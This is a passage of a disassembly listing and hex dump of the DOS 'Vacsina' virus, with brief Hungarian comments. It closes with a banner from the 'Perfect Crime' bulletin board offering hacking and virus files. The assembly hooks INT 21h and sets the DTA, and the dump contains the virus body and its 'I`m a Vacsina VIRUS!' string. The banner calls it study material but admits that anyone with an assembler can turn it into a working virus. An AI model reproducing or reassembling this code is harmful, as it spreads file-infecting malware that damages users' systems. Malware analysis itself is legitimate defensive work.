  596. 13B0:0A41 8CD2        MOV    DX,SS
  597. 13B0:0A43 8EDA        MOV    DS,DX
  598. 13B0:0A45 BAC000    MOV    DX,00C0
  599. 13B0:0A48 CD21        INT    21        ;INT 21h átirányítása
  600. 13B0:0A4A B80000    MOV    AX,0000
  601. 13B0:0A4D 8EC0        MOV    ES,AX
  602. 13B0:0A4F 26        ES:
  603. 13B0:0A50 C706C5007F39    MOV    WORD PTR [00C5],397F    ;?
  604. 13B0:0A56 26        ES:
  605. 13B0:0A57 C606C70005    MOV    BYTE PTR [00C7],05    ?
  606. 13B0:0A5C 8CC8        MOV    AX,CS
  607. 13B0:0A5E 8ED8        MOV    DS,AX
  608. 13B0:0A60 B41A        MOV    AH,1A
  609. 13B0:0A62 BA5000    MOV    DX,0050
  610. 13B0:0A65 CD21        INT    21        ;DTA. beállítása
  611. 13B0:0A67 2E        CS:
  612. 13B0:0A68 8B47FB    MOV    AX,[BX-05]
  613. 13B0:0A6B E94EFF    JMP    09BC
  614.  
  615. 13B0:0A6E B704        MOV    BH,04
  616. 13B0:0A70 AC        LODSB
  617. 13B0:0A71 05F47A    ADD    AX,7AF4
  618. 13B0:0A74 050000    ADD    AX,0000
  619. 13B0:0A77 0000        ADD    [BX+SI],AL
  620.  
  621.  
  622. Dumped list:
  623.  
  624. 13B0:0000  CD 20 00 A0 00 9A F0 FE-1D F0 F4 02 E7 0F 2F 03   . ............/.
  625. 13B0:0010  E7 0F BC 02 E7 0F AF 0F-01 03 01 00 02 FF FF FF   ................
  626. 13B0:0020  FF FF FF FF FF FF FF FF-FF FF FF FF A7 13 4C 01   ..............L.
  627. 13B0:0030  21 13 14 00 18 00 B0 13-FF FF FF FF 00 00 00 00   !...............
  628. 13B0:0040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  629. 13B0:0050  CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20   .!...........
  630. 13B0:0060  20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20         .....
  631. 13B0:0070  20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00         ........
  632. 13B0:0080  01 20 0D 61 63 73 76 2E-63 6F 6D 20 0D 63 3A 5C   . .acsv.com .c:\
  633. 13B0:0090  75 74 69 6C 3B 63 3A 5C-75 74 69 6C 5C 78 79 77   util;c:\util\xyw
  634. 13B0:00A0  72 69 74 65 3B 63 3A 5C-6E 79 65 6C 76 65 6B 5C   rite;c:\nyelvek\
  635. 13B0:00B0  64 62 61 73 65 3B 63 3A-5C 6E 79 65 6C 76 65 6B   dbase;c:\nyelvek
  636. 13B0:00C0  5C 63 6C 69 70 70 65 72-0D 00 00 00 00 00 00 00   \clipper........
  637. 13B0:00D0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  638. 13B0:00E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  639. 13B0:00F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  640. 13B0:0100  E9 69 08 49 60 6D 20 61-20 56 61 63 73 69 6E 61   .i.I`m a Vacsina
  641. 13B0:0110  20 56 49 52 55 53 21 0D-0A 24 00 00 00 00 00 00    VIRUS!..$......
  642. 13B0:0120  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  643.  
  644. 13B0:0590  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  645. 13B0:05A0  00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03   ................
  646. 13B0:05B0  01 CD 21 B4 00 CD 20 00-5D 00 5E 00 FF FF 60 00   ..!... .].^...`.
  647. 13B0:05C0  4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00   M..K............
  648. 13B0:05D0  72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21   r...V. . ......!
  649. 13B0:05E0  B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20   ... .VACSINA
  650. 13B0:05F0  00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00   ........|.7..@..
  651. 13B0:0600  46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20   F........
  652. 13B0:0610  20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00          ...
  653. 13B0:0620  5B 50 8C C0 05 10 00 8B-0E 0E 01 03 C8 89 4F FB   [P............O.
  654. 13B0:0630  8B 0E 16 01 03 C8 89 4F-F7 8B 0E 10 01 89 4F F9   .......O......O.
  655. 13B0:0640  8B 0E 14 01 89 4F F5 8B-3E 18 01 8B 16 08 01 B1   .....O..>.......
  656. 13B0:0650  04 D3 E2 8B 0E 06 01 E3-17 26 C5 B5 00 01 83 C7   .........&......
  657. 13B0:0660  04 8C DD 26 03 2E 08 01-03 E8 8E DD 01 04 E2 E9   ...&............
  658. 13B0:0670  0E 1F BF 00 01 8B F2 81-C6 00 01 8B CB 2B CE F3   .............+..
  659. 13B0:0680  A4 58 FA 8E 57 FB 8B 67-F9 FB FF 6F F5 B0 03 CF   .X..W..g...o....
  660. 13B0:0690  9C 3D 00 4B 74 06 9D 2E-FF 2E 00 00 06 1E 55 57   .=.Kt.........UW
  661. 13B0:06A0  56 52 51 53 50 8B EC B8-24 35 CD 21 2E 8C 06 06   VRQSP...$5.!....
  662. 13B0:06B0  00 2E 89 1E 04 00 0E 1F-BA BD 00 B8 24 25 CD 21   ............$%.!
  663. 13B0:06C0  0E 1F BA 14 00 B4 0F CD-21 B8 00 43 8E 5E 0E 8B   ........!..C.^..
  664. 13B0:06D0  56 06 CD 21 73 03 E9 DA-01 2E 89 0E 08 00 B8 01   V..!s...........
  665. 13B0:06E0  43 80 E1 FE CD 21 73 03-E9 C8 01 B8 02 3D 8E 5E   C....!s......=.^
  666. 13B0:06F0  0E 8B 56 06 CD 21 73 03-E9 A8 01 2E A3 0A 00 8B   ..V..!s.........
  667. 13B0:0700  D8 0E 1F BA 0C 00 B9 06-00 B4 3F CD 21 72 19 3D   ..........?.!r.=
  668. 13B0:0710  06 00 75 14 2E 81 3E 0C-00 4D 5A 75 03 E9 B5 01   ..u...>..MZu....
  669. 13B0:0720  2E 80 3E 0C 00 E9 74 03-E9 6F 01 B8 02 42 B9 00   ..>...t..o...B..
  670. 13B0:0730  00 8B D1 2E 8B 1E 0A 00-CD 21 72 EC 83 FA 00 75   .........!r....u
  671. 13B0:0740  E7 3D B6 04 76 E2 3D 93-F5 73 DD 2E A3 9E 04 2E   .=..v.=..s......
  672. 13B0:0750  A1 0D 00 05 03 01 2E A3-A0 04 B8 02 42 B9 FF FF   ............B...
  673. 13B0:0760  BA F8 FF 2E 8B 1E 0A 00-CD 21 72 BC 2E 8B 1E 0A   .........!r.....
  674. 13B0:0770  00 0E 1F BA 0C 00 B9 08-00 B4 3F CD 21 72 A9 3D   ..........?.!r.=
  675. 13B0:0780  08 00 75 A4 2E 81 3E 10-00 F4 7A 75 77 2E 83 3E   ..u...>...zuw..>
  676. 13B0:0790  12 00 05 90 73 92 2E A1-0C 00 2E A3 9E 04 2E A1   ....s...........
  677. 13B0:07A0  0E 00 2E A3 A0 04 2D 03-01 2E A3 0C 00 B8 00 42   ......-........B
  678. 13B0:07B0  B9 00 00 BA 01 00 2E 8B-1E 0A 00 CD 21 72 5F B4   ............!r_.
  679. 13B0:07C0  40 0E 1F BA 0C 00 B9 02-00 CD 21 72 51 3D 02 00   @.........!rQ=..
  680. 13B0:07D0  75 4C 2E 8B 1E 0A 00 B4-45 CD 21 72 08 8B D8 B4   uL......E.!r....
  681. 13B0:07E0  3E CD 21 72 39 B8 00 42-B9 00 00 2E 8B 16 9E 04   >.!r9..B........
  682. 13B0:07F0  2E 8B 1E 0A 00 CD 21 72-25 B4 40 0E 1F B9 00 00   ......!r%.@.....
  683. 13B0:0800  CD 21 72 1A B8 00 42 B9-00 00 2E 8B 16 9E 04 83   .!r...B.........
  684. 13B0:0810  C2 0F 83 E2 F0 2E 8B 1E-0A 00 CD 21 73 03 EB 7A   ...........!s..z
  685. 13B0:0820  90 2E 8B 1E 0A 00 8C CA-4A 8E DA BA 00 00 B9 B6   ........J.......
  686. 13B0:0830  04 B4 40 CD 21 72 E7 3D-B6 04 75 E2 2E 8B 1E 0A   ..@.!r.=..u.....
  687. 13B0:0840  00 B4 45 CD 21 72 08 8B-D8 B4 3E CD 21 72 CF 2E   ..E.!r....>.!r..
  688. 13B0:0850  C6 06 0C 00 E9 2E 8B 16-9E 04 83 C2 0F 83 E2 F0   ................
  689. 13B0:0860  83 EA 03 81 C2 AC 03 2E-89 16 0D 00 B8 00 42 B9   ..............B.
  690. 13B0:0870  00 00 8B D1 2E 8B 1E 0A-00 CD 21 72 A1 2E 8B 1E   ..........!r....
  691. 13B0:0880  0A 00 0E 1F BA 0C 00 B9-03 00 B4 40 CD 21 72 8E   ...........@.!r.
  692. 13B0:0890  3D 03 00 75 89 B8 07 0E-CD 10 B4 3E 2E 8B 1E 0A   =..u.......>....
  693. 13B0:08A0  00 CD 21 B8 01 43 8E 5E-0E 8B 56 06 2E 8B 0E 08   ..!..C.^..V.....
  694. 13B0:08B0  00 CD 21 0E 1F BA 14 00-B4 10 CD 21 B8 24 25 2E   ..!........!.$%.
  695. 13B0:08C0  C5 16 04 00 CD 21 58 5B-59 5A 5E 5F 5D 1F 07 9D   .....!X[YZ^_]...
  696. 13B0:08D0  2E FF 2E 00 00 B8 02 42-B9 00 00 8B D1 2E 8B 1E   .......B........
  697. 13B0:08E0  0A 00 CD 21 72 B4 83 FA-00 75 AF 3D B3 FD 73 AA   ...!r....u.=..s.
  698. 13B0:08F0  2E A3 9E 04 2E A1 10 00-48 B1 09 D3 E0 2E 03 06   ........H.......
  699. 13B0:0900  0E 00 2E 3B 06 9E 04 75-91 2E 8B 1E 0A 00 B4 40   ...;...u.......@
  700. 13B0:0910  0E 1F BA 39 00 B9 84 00-CD 21 72 C8 3D 84 00 75   ...9.....!r.=..u
  701. 13B0:0920  E6 2E 8B 1E 0A 00 B4 45-CD 21 72 08 8B D8 B4 3E   .......E.!r....>
  702. 13B0:0930  CD 21 72 B0 B8 00 42 B9-00 00 8B D1 2E 8B 1E 0A   .!r...B.........
  703. 13B0:0940  00 CD 21 72 9F 2E C6 06-0C 00 E9 2E A1 9E 04 05   ..!r............
  704. 13B0:0950  11 00 2E A3 0D 00 2E 8B-1E 0A 00 B4 40 0E 1F BA   ............@...
  705. 13B0:0960  0C 00 B9 03 00 CD 21 E9-30 FF 00 00 E8 00 00 5B   ......!.0......[
  706. 13B0:0970  2E 89 47 FB B8 00 00 8E-C0 26 A1 C5 00 3D 7F 39   ..G......&...=.9
  707. 13B0:0980  75 08 26 A0 C7 00 3C 05-73 32 8B D4 2B D3 81 EA   u.&...<.s2..+...
  708. 13B0:0990  6C 0B 72 28 BA C5 04 B1-04 D3 EA 2E 89 97 54 FC   l.r(..........T.
  709. 13B0:09A0  8C D9 03 D1 8E C2 8B F3-81 C6 51 FC 8B FE B9 B6   ..........Q.....
  710. 13B0:09B0  04 FC F3 A4 06 E8 03 00-EB 13 90 CB 8C C8 8E D8   ................
  711. 13B0:09C0  8E C0 8E D0 2E 8B 47 FB-2E FF A7 01 01 BE 00 00   ......G.........
  712. 13B0:09D0  BF 00 00 8B CB 81 C1 61-FC 8C C2 4A 8E C2 8C DA   .......a...J....
  713. 13B0:09E0  4A 8E DA 03 F1 4E 8B FE-FD F3 A4 FC 2E 8B 97 54   J....N.........T
  714. 13B0:09F0  FC 26 29 16 03 00 26 8C-0E 01 00 BF 00 00 8B F3   .&)...&.........
  715. 13B0:0A00  81 C6 51 FC B9 B6 04 1E-07 0E 1F F3 A4 26 83 2E   ..Q..........&..
  716. 13B0:0A10  03 00 01 53 8C CB B4 50-CD 21 5B 2E 8C 0E 36 00   ...S...P.![...6.
  717. 13B0:0A20  2E 8B 16 2C 00 4A 8E C2-26 8C 0E 01 00 B8 21 35   ...,.J..&.....!5
  718. 13B0:0A30  53 CD 21 36 8C 06 02 00-36 89 1E 00 00 5B B8 21   S.!6....6....[.!
  719. 13B0:0A40  25 8C D2 8E DA BA C0 00-CD 21 B8 00 00 8E C0 26   %........!.....&
  720. 13B0:0A50  C7 06 C5 00 7F 39 26 C6-06 C7 00 05 8C C8 8E D8   .....9&.........
  721. 13B0:0A60  B4 1A BA 50 00 CD 21 2E-8B 47 FB E9 4E FF B7 04   ...P..!..G..N...
  722. 13B0:0A70  AC 05 F4 7A 05 00 00 00                 ...z....
  723.  
  724. ;****************************************************************************;
  725. ;                                                                            ;
  726. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  727. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  728. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  729. ;                     -=]                            [=-                     ;
  730. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  731. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  732. ;                     -=]                            [=-                     ;
  733. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  734. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  735. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  736. ;                                                                            ;
  737. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  738. ;                                                                            ;
  739. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  740. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  741. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  742. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  743. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  744. ; Is. Keep This Code in Responsible Hands!                                   ;
  745. ;                                                                            ;
  746. ;****************************************************************************;
  747.